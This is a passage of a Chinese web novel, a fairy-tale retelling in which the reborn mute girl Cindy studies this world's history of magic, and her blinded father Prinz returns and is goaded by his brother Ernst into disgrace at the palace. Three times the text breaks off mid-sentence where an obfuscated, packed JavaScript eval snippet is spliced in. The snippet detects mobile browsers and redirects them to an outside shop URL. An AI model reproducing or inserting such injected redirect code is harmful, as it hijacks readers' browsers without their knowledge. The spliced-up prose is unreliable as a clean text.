在拉潘泽尔给他讲的那些故事里，会魔法的人几乎无所不能，他也想那么厉害！ 在德赫克瑟离开前，拉潘泽尔看着她欲言又止，止言又欲，最终还是委婉地说出了内心的想法：“教母，我觉得，偷东西是个不好的行为······您应该为孩子们做一个好榜样······” 德赫克瑟尴尬至极，拉潘泽尔怎么还没有忘记卡卡的话，该死的卡卡，未来一天她要罚它不许吃东西！ 女巫的眼神逡巡着周围，试图找出一个话茬来略过这个话题。 德赫克瑟还真找出了一个很奇怪的地方。 她知道三人的食物都用具都是大狗从外面弄来的，按照拉潘泽尔的性格，她应当会认为这是不道德的才对。 她还发现了大狗胸前有一袋金币，一定是他们用什么东西换的。荒漠里几乎没有什么值钱的东西，他们拿什么换的？ “那些绿洲里的小鱼呀。教母，那些鱼可好吃了，下次我做给你吃······” 拉潘泽尔的回答让女巫眼前一黑，那些鱼可是她千辛万苦收集来的，每一条都价值万金，就这样被他们换了这些破烂？！ 她把那些鱼放在那里主要是为了维持法阵的魔力，千算万算，没想到那个小哑巴竟然能把鱼捞起来······ 德赫克瑟内心梗梗的，暗暗将这笔帐算到了辛蒂的头上，以后一定要让她全部给她还上！ 为了教导辛蒂，德赫克瑟第二天就将自己的屋子搬到了小破棚子的附近。 之所以这么费劲，是因为困住拉潘泽尔的法阵还没过期，他们还不能离开荒漠，只能女巫搬过来。 对于德赫克瑟来说，移动自己的房子是一件很容易的事，只需要几个法阵就可以轻松办到。 她常常都会根据自己的心情以及对气候的喜好把自己的房子搬来搬去。 不过没几天，女巫就厌倦了一成不变的荒漠，她扔给辛蒂几本基础书籍后，就借口要外出访友，带着自己的房子不知所踪。 看着女巫的房子挪走后，沙地上留下的深坑，辛蒂陷入了思索，女巫都是这么善变的吗。 她还没来得及好好参观一下德赫克瑟的房子呢，会说话的门铃和蠕动的地毯都很有意思。 听说房 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17023326|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子的花园里还有很多很有个性的魔法植物，她也没能看到。 因为辛蒂目前还不能说话，女巫留给她的书籍大多都是一些基础常识，比如《你要知道的关于魔法协会的一百件事》、《女巫的大陆旅行》、《震惊！历史为何那样？》等等。 虽然有的书名不太正经，内容都很有用，看得出来女巫是认真挑选过的。 根据这些书籍，辛蒂对于这个世界有了一个较为完整的了解。 和之前两个世界一样，这里的语言文化和辛蒂原本的世界有着相似之处，不过历史的走向不一样，应该是某种平行时空。 这个世界的其他方面都很常规，最突出的特点是魔法是一种受到广泛认可的力量。巫师们创办的协会得到了统治阶级的认可，被称为魔法协会。 这里的魔法史很长，大概看下来，辛蒂发现了一件很有趣的事，这里的历史上竟然也有一个被称作穆塔之战的战役。 叙事的角度大不相同，辛蒂之前看过的版本是从人类的角度出发，是正义最后战胜了邪恶的英雄叙事。 而这个世界的版本更突出这次的战役对于巫师的打击，书中有许多“穆塔之战导致我们掌握的魔法水平至少倒退了十年”类似这样的描述。 不过即使描述不一样，从种种细节中辛蒂还是得出了这就是相同的历史片段的结论。 既然有着相同的穆塔之战，那有没有一种可能这个世界是上一个时间几千年后的版本，她或许能在史书中找到她自己呢？ 很遗憾，看了后面的历史，辛蒂发现女性哈里发并未在历史中出现过。 这个世界历史上的阿拉比亚王国，马蒙顺利继位，成为了阿拉比亚王国的最后一任哈里发。 在马蒙执政期间，魔鬼肆虐了整片大地，导致人类不得不仰仗巫师的力量奋起抗争。 这亦是巫师群体崛起的重要节点，和魔鬼的战争打了一千多年，从那以后巫师们再也没有退出过历史的舞台。 这段历史在辛蒂看来最讽刺的地方在于，当初她积攒势力的埃烈，在这里的历史里，成为了魔鬼的大本营。 据说在巫师和人类的联盟攻占埃烈以后，发现这里已经一个活人都没有了，全部都被魔鬼吃掉了灵魂，成为了祂们行尸走肉的傀儡。 合上厚厚的《震惊！历史为何那样？》，辛蒂深深叹了口气，忽然产生了一种人的力量在时间和空间的维度上真是渺小的感叹。 辛蒂产生了一个疑问，魔鬼如此肆无忌惮，真主就不曾理会吗？ 按照她之前魔鬼先生的态度，她可以肯定约束魔鬼的神是存在的。 祂为什么能眼睁睁地看着自己的信众被魔鬼们吃掉，坐视魔鬼毁掉了祂所有的寺庙呢。 是祂不愿，还是不能？ 辛蒂没有答案，最起码在这个世界的历史里，她完全没有找到神存在过的痕迹。 如果神真的存在，祂一定是被困住了。 辛蒂被自己突然冒出来的想法吓了一跳，谁又能困住神呢。 82.王位 德赫克瑟在离开之前，曾经告诉辛蒂困住他们的法阵就快要消失了，到时候他们就能离开这片荒漠，回到城市中居住。 这是一个预示，辛蒂知道，故事的男主角，拉潘泽尔心心念念的情人普林兹就要出现了。 这同时也意味着他们即将要离开这片他们已经十分熟悉了的荒漠，从三个人的家庭变成四个人，迎来崭新的生活。 这一天比辛蒂想象中来得更快。 这天早上辛蒂忽然听到拉潘泽尔发出了一声惊呼，她心中一紧。 她走出门外，果然看到在视线中荒漠的尽头，新生的朝阳之下，衣衫褴褛的王子正在蹒跚着走向这里。 普林兹不知道自己现在身在何处，只是追随着心中隐隐约约的直觉来到了这片荒漠之中。 自从被女巫推下高塔，荆棘刺瞎了他的眼睛以后，普林兹再也找不到回家的路，只能游荡在各个城市之中。 英俊的容貌受损，又无法证明自己的王子身份，普林兹沦为了彻彻底底的流浪汉，甚至不如流浪汉，后者至少有健全的身体。 普林兹一开始还试图告诉别人他是这个国家最尊贵的王子，可惜没人相信一个瞎子的话，大多数人都认为他在发疯。 小孩子朝他身上扔石块，路过的人会毫不留情地嘲笑讥讽他，普林兹受到了无尽屈辱，他无数次想过一了百了。 可是一想到他的王位，还有那个高塔之中精灵一般美丽的女子，更重要的还有对女巫的恨意，他还是咬咬牙强撑了下来。 大概一个月前，他忽然心有所感，漆黑一片的眼前忽然出现了一缕白光。 凭着直觉，他一直朝着白光的方向前进，他有预感，白光会指引他找回他的幸福。 走到拉潘泽尔所在的荒漠只是，此时的普林兹已经走了一夜。 他又渴又累，只想找个地方躺下来歇歇，最好能有一杯清水解渴，若是能有好心人施舍给他一块面包就最好不过。 他这一路就是这样依靠着乞讨走过来的。 忽然他好像听到了拉潘泽尔温柔的呼唤，他曾无数次出现过这样的幻觉，可是每次他循着声音过去只会发现什么都没有。 普林兹以为这次也是如此，便没有理会。 我再也不会上这样让我伤心的当了，普林兹在心里告戒着自己。 “普林兹，普林兹，我可怜的爱人！” 没想到这次的幻觉尤为强烈，拉潘泽尔的声音越来越大，到最后似乎就在他的耳边响起。 落魄的王子却还是自嘲一笑，他认为这是因为自己太饿的缘故，根本不愿意相信拉潘泽尔真的出现在了他的身边。 直到他落入了一个温暖的怀抱，爱人的手指在他的脸上逡巡，温热的眼泪打湿了他的睫毛。 如此真实的触感和热量，普林兹摸到了拉潘泽尔高挺的鼻梁，还有她柔嫩的嘴唇，这一定是真的，不可能是幻觉！ 辛蒂靠在门边，冷眼看着有情人抱头痛哭。 她在思考一个问题，为什么普林兹的眼睛没有恢复光明？ 按照故事原本的情节，当拉潘泽尔的眼泪落入普林兹空空荡荡的眼眶，那些荆棘造成的伤害都会复原，普林兹会重新得到视力。 然而现在什么都没有发生，拉潘泽尔源源不断的既是喜悦又是痛心的泪水几乎将普林兹的脸整个浸湿了，可是他的眼睛没有丝毫的变化。 辛蒂还没想明白这是怎么一回事，博伊听到了拉潘泽尔的哭声，焦急地询问到底出了什么事。 拉潘泽尔这才回过神来，急忙向普林兹介绍他的孩子们。 “亲爱的普林兹，这是你的女儿辛蒂，这是你的儿子博伊。分开以后，我生下了他们，他们如今已经十岁了。” 刚一见面，拉潘泽尔就注意到了爱人的眼睛里失去了光芒，她已经有一个瞎子儿子了，如今又多了一个瞎子丈夫！ 拉潘泽尔觉得自己心痛到几乎无法呼吸，可是她还是强忍悲痛，引导着普林兹的手触摸着孩子们娇嫩的面孔。 作为一个流浪者，普林兹的手显然干净不到哪里去，为了不叫拉潘泽尔难受，辛蒂还是强忍着那双满是泥垢和尘土的手把她的脸也弄得脏兮兮的。 不过普林兹此时沉浸在巨大的幸福之中，完全没有注意到女儿流露出的抗拒。 天呐，在他流浪的时候，拉潘泽尔竟然已经为他生下了两个可爱的孩子。 博伊已经被从天而降的爸爸砸懵了，他对这个爸爸的了解仅限于知道名字，他对普林兹没有任何感情基础，此时闻到他身上流浪汉的臭味，下意识后退了两步。 普林兹的手扑了个空，他这时才想起来自己如今的形象肯定很糟糕，不禁有些尴尬。 该死的命运啊，你看看你做了什么，竟然将一个金尊玉贵的王子变成了浑身散发着臭味的乞丐！ 拉潘泽尔也从复杂的心绪中回过神来，听到普林兹咕咕作响的肚子，她又是一阵心痛，急忙拿出食物给他填饱肚子。 普林兹吃饱喝足，拉潘泽尔伺候着他清洁身体，又为他理发剃头后，一个全新的普林兹出现了。 不得不说，普林兹的长相确实很不错，难怪当初能迷倒拉潘泽尔，可以看出来博伊非常有辨识度的深邃眼窝就是继承自他。 只可惜他失去了眼睛，就像王冠上失去了宝石，不复从前的风采。 说起来辛蒂还不知道自己长什么样呢，不过以拉潘泽尔和普林兹的颜值，这具身体的样貌一定不会难看。 臭臭的爸爸变得香香的，博伊终于愿意接近这个陌生男人，开始对他产生了一些好奇。 他认识的人太少了，如今有了一个跟他性别相同的成年人，他有许多问题想问他。 普林兹已经从拉潘泽尔的口中知道了因为诅咒，他们的一双儿女身上都有残疾。 他心中对于女巫的恨意更深了，他没有拉潘泽尔那么善良，做不到原谅一个让他失去眼睛的人。 拉潘泽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030286|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尔也察觉到了普林兹对于教母的恨意，可是她没有立场劝说他，唯有庆幸教母此时不在他们的身边。 对于女巫，双方都十分默契的没有提及。 在普林兹的有意讨好之下，他很快就获得了博伊的喜爱，父子俩打成一片。 辛蒂却一直都对他态度平平。 她又不是真小孩，没那么容易讨好，而且她原本对他就没有好感，没有不搭理他已经是看在拉潘泽尔的面子上了。 虽然拉潘泽尔很在乎丈夫和孩子之间感情的培养，普林兹的心思并不在这上面，他还惦记着自己的王位。 “亲爱的，荒漠不是我们这样身份的人应该居住的地方，我们一起回到我的王国里去吧。” “人们一定很渴望迎回他们的国王，你会成为我的王后，我们一起治理这片土地。” 拉潘泽尔的表情很复杂，她应该如何告诉可怜的普林兹，他的弟弟已经取他而代之，成为了新的国王了呢。 自从有了茶杯以后，拉潘泽尔脱离了与世隔绝的状态，常常都能看到外界的报纸。 这些消息就是她从报纸上得知的，而且很不巧的，新国王的继位就发生在几天前。 普林兹失踪以后，老国王悲痛之际一病不起，直到不久前一命呜呼。传闻中他的弟弟恩斯特迟迟不肯继位，声称要守着王位等待着他的兄长归来。 在大臣们的再三请催下，恩斯特才同意成为新国王，举行了继位的盛典。 在拉潘泽尔久久的沉默当中，普林兹意识到了什么，他的笑容和沸腾的心都冷却了下来。 普林兹一直都是最受老国王宠爱的孩子，他从未想过老国王会将王位传给别人，哪怕是他一母同胞的弟弟。 在他的设想中，王位是锁在宝库中的冠冕，唯一的钥匙就在他的手上，只要他没有出现，王位就会永久地无限地为他保留。 “不，不可能，绝对不可能！” 拉潘泽尔的话让普林兹发出了愤怒的狂吼，如果说和拉潘泽尔的重逢让他觉得自己到了天堂，那么听到这个消息后，他觉得自己回到了地狱。 心绪激荡之下，普林兹竟然晕了过去。 醒来后的普林兹立刻要求拉潘泽尔告诉他她知道的一切。 拉潘泽尔知道他还没有放弃王位，只好拿来那些报纸，把相关的内容逐篇念给他听。 在听到报纸上记载的，恩斯特在继位庆典上的讲话时，普林兹露出了微笑。 “为了国家和民众，我唯有辜负父亲的遗志登上国王的宝座，我在此承诺，我随时恭候我的哥哥普林兹的归来。” “届时我会将这原本属于他的王位归还于他，如违此誓，叫我不得好死。” 普林兹紧紧抓着拉潘泽尔的手，兴奋道：“你听到了吗？亲爱的，只要我回去，恩斯特就会将我的王位还给我，那时我就还是国王！” “我就知道，恩斯特一直都很听父亲的话，他不敢占据原本属于我的荣光！” 83.激怒 在普林兹的印象中，恩斯特一直都唯唯诺诺，不堪大用。父亲常常都会当着诸大臣的面训斥得他抬不起头来，这样的人怎么能做一个合格的国王呢？ 而他，总是被父亲夸奖的孩子，王国绝对合格的继承人，比恩斯特不知道好了多少倍。 即使恩斯特不愿意让出王位，那些聪明的大臣们也应该知道怎么选才是对王国最好的。 想到这里，普林兹对于要回王位的把握更大了。实际上他根本不认为恩斯特会不愿意让给他王位，他太了解这个懦弱的小弟弟了。 拉潘泽尔没有普林兹这样的自信，她不知道恩斯特的为人，也不知道普林兹在大臣们心中的形象。 退一万步说，即便普林兹的认知都是真实的，这一切应该建立在他身体健全的情况之下，哪个王国能接受一个瞎眼的国王呢？ 拉潘泽尔并不觉得去问恩斯特要回王位是个好主意，可是她耐不住普林兹的软语相求，又兼之他们本来就要离开这里了。 拉潘泽尔最后还是同意了，她认为不管怎么样，恩斯特都是普林兹的亲弟弟，不会对他们不利。 就算在最坏的情况下，他们还有茶杯，安全还是能得到保障的。 他们没有继续留在荒漠的理由，在普林兹来后的第二天，困住拉潘泽尔十年的法阵就消失了。 拉潘泽尔和博伊对此一无所觉，辛蒂和茶杯都感受到了空气中隐隐约约的魔法波动。 博伊在沙地上发现的小蝎子也证实了法阵的消失——为了防止沙漠中的生物危害母子三人，女巫的法阵禁绝了蝎子、狼、鬣狗之类的捕食者。 被蝎子咬到脚趾的感觉让博伊觉得很新奇，甚至想被再咬一次。 拉潘泽尔并不觉得有趣，还好博伊遇到的是无毒的蝎子，要是博伊中毒，他们现在都没地方找医师。 这件事加快了他们搬家的动作，以免再遇到别的危险。 这一切的发展都在辛蒂的意料之中，她听到了拉潘泽尔和普林兹的对话，对于普林兹的标签又多了一个，不知所谓的理想主义者。 普林兹表现出来的天真让辛蒂感到惊讶，看来这十年间他见识到的人情冷暖，吃过的苦头还不够多，他才会有这样的认知。 拉潘泽尔认为此行基本安全，辛蒂的想法不一样，她认为他们这一次危险重重。 若是普林兹如今恢复了视力，他或许还有要回王位的可能性，或者说他的那些设想必然会实现，毕竟是命运庇护着的男人。 可是他仍然是一个货真价实的瞎子，而且按照辛蒂的判断，他那个弟弟恩斯特大概率不懦弱，甚至很有能力。 以上的想法只停留于辛蒂的脑海中，她没有试图说服两个大人。 这是命运的安排，无论如何他们都要走上这一遭才行。 乘坐着茶杯找来的马车，一家四口就这样晃晃悠悠地来到了城市之中。 进城过程出乎意料的顺利，辛蒂本以为会半路杀出几个刺客，甚至出现巫师阻拦他们进程，可是竟然什么都没有发生。 城市的繁华让拉潘泽尔看花了眼，不管是摩肩接踵的街道，还是花花绿绿的店铺，她都觉得新奇。 博伊的耳朵捕捉着街道上热闹非凡的人声，嘴里催促着拉潘泽尔为他讲讲，可是拉潘泽尔自己都看呆了，哪里还顾得上他。 普林兹露出了怀念的神色，他主动搂着博伊，为博伊讲述着自己记忆中城市里的景象： “现在都算人少啦，以前圣诞节的时候，城里的房子到处都张灯结彩，大街小巷都挤满了人，走在街上都看不到自己的脚哩。” “我以前每年都会代表国王给那些穷苦的人们发放食物，那时候整个城市的上空都萦绕着姜饼的甜味和烤肉味，没有一个人会饿肚子······” 博伊听得入神，时不时发出真情实感的惊叹声，给足了情绪价值。 看完了热闹，众人都有些迷茫，现在应该往哪个方向走呢？拉潘泽尔看着都长得差不多的街道，究竟哪条是通往王宫的呢，她一时间犯了难。 普林兹没法子指路，只好让拉潘泽尔去问问过路的人。 就在这个时候，一队穿着盔甲的侍卫忽然出现在马车前，盔甲和刀枪碰撞的声音叫人心中发慌。 领头的侍卫恭敬开口道：“请问是普林兹王子殿下吗？我是宫廷侍卫长格罗斯，奉国王陛下的命令来接您回宫。” 普林兹高兴极了，自己刚进城就有侍卫来接他，这说明人人都盼望着他的归来，不过侍卫的话让他有些不快。 “你说的国王陛下是恩斯特？如今你们真正的国王回来了，这样的称呼并不符合礼节，你竟敢冒犯你的国王吗？” 格罗斯内心一激灵，他就知道这不是什么好差事。 面上他的表情更加肃穆，像是没听到普林兹的话一般，只是再次恭敬道：“普林兹王子殿下，请跟随我们回宫。” 普林兹冷哼一声，侍卫的冷硬让他感到恼火，不过他无意和这些死板的没有脑子的武夫计较，回到王宫才是要紧事。 宫廷侍卫的出现让辛蒂心中警铃大作，他们出现得如此之快，这说明普林兹或者拉潘泽尔的行踪一直在恩斯特的掌控之中。 如果说这是一场战争，普林兹的敌人恩斯特已经做好了万全的准备，而普林兹这个晕蛋，竟然洋洋得意，还在这里刁难一个侍卫！ 不过有个奇怪的地方在于，恩斯特为何没有阻止普林兹回到王宫呢？ 若她是恩斯特，一定会把麻烦扼杀在摇篮里。一个死掉的兄长比活着的还想跟他抢王位的可要讨喜得多。 不管怎么样，辛蒂对于这个恩斯特的警惕程度又上升了许多，果然他这样的人设是不可能真的表里如一那么简单的。 唯一让人稍稍放心的是，既然恩斯特之前没有动手，现在普林兹已经出现在了明面上，他就更不可能动用武力了。 除非他想让自己的名声臭不可闻，让所有人都知道他是个弑兄的败类。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17035827|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 恩斯特国王的表面功夫做得很足，他竟然带着大臣，亲自在王宫的门口迎接他的兄长。 普林兹下马车的时候，恩斯特立马迎了过来，他的眼眶在看到兄长的一瞬间就变红了，似乎是因为普林兹的惨状流下了伤心的泪水。 旁人看了还以为普林兹是被抬下马车的呢，实际上普林兹看上去只是瘦了些，穿着简朴了些。 辛蒂叹为观止，这全是演技啊，换她肯定做不到这么丝滑。 眼泪只是恩斯特的表演的开始，他的目的是在今天让所有大臣明白，他才是最适合做国王的那一个。 “普林兹哥哥，你的眼睛怎么了？！”因为惊讶，恩斯特的声音很大，一时间所有大臣和侍卫的目光都聚焦在了普林兹的脸上。 注意到他空洞洞的眼眶，原本想要上前亲近普林兹的大臣们顿时止住了脚步，纷纷窃窃私语起来。 普林兹的笑容凝固在了脸上，他感到难堪极了。他能感受到自己身上的那些灼人的目光，提醒着他如今是一个瞎子的现实。 他有些失态，“恩斯特，你什么意思？我告诉你，王位是父亲留给我的，就算我瞎了，这也应该是我的东西，不是你可以觊觎的！” 恩斯特的脸色比普林兹还要难堪，似乎是不敢置信普林兹居然会有这样的想法，“普林兹哥哥，你怎么能这么想我？我绝无此意，我这就安排让位！” 普林兹的面色稍缓，他就知道恩斯特不敢占着王位不还给他。 可是普林兹还没说话，旁边的大臣们就嚷嚷起来。 “国王陛下，万万不可啊！” “王位不是儿戏，怎么能说让就让呢？” “瞎子怎么能做国王？！” 最后一句不知道哪个大臣的话清晰地传进了普林兹的耳朵，所有在场的人都听到了这句话，场面一下子安静下来。 愤怒烧穿了普林兹的理智，他拔出长剑，铁器磨过剑鞘的声音刺耳至极。 “谁？”他的脸涨得通红，吼声传遍整个广场，“谁说的，我要砍了他的脑袋！” 没人敢站在一个挥舞着长剑的瞎子旁边，普林兹的过激举动让所有人都离他远远的，宫廷侍卫甚至举起了盾牌，挡在恩斯特的面前。 辛蒂也拉着拉潘泽尔和博伊远离发疯的普林兹，她看着混乱的场面，忍不住摇头，今天以后，普林兹瞎子和疯子的名声将会传遍整个王国。 说不定效忠恩斯特的大臣们连报纸头条都想好了，就叫“前王国继承人普林兹当众刺杀国王恩斯特”。 事实是什么并不重要，在普林兹拔剑的那一刻，他就注定会变成人们口中的暴君。 哪怕明眼人都看得出来，恩斯特是在故意激怒普林兹，普林兹并非天性如此。 事情进展到如今的样子，显然不可能商量什么正事了。 恩斯特好言好语地安抚了普林兹的情绪，又命令侍从带着普林兹一家人去准备好的房间休息，只说有什么事明天再说。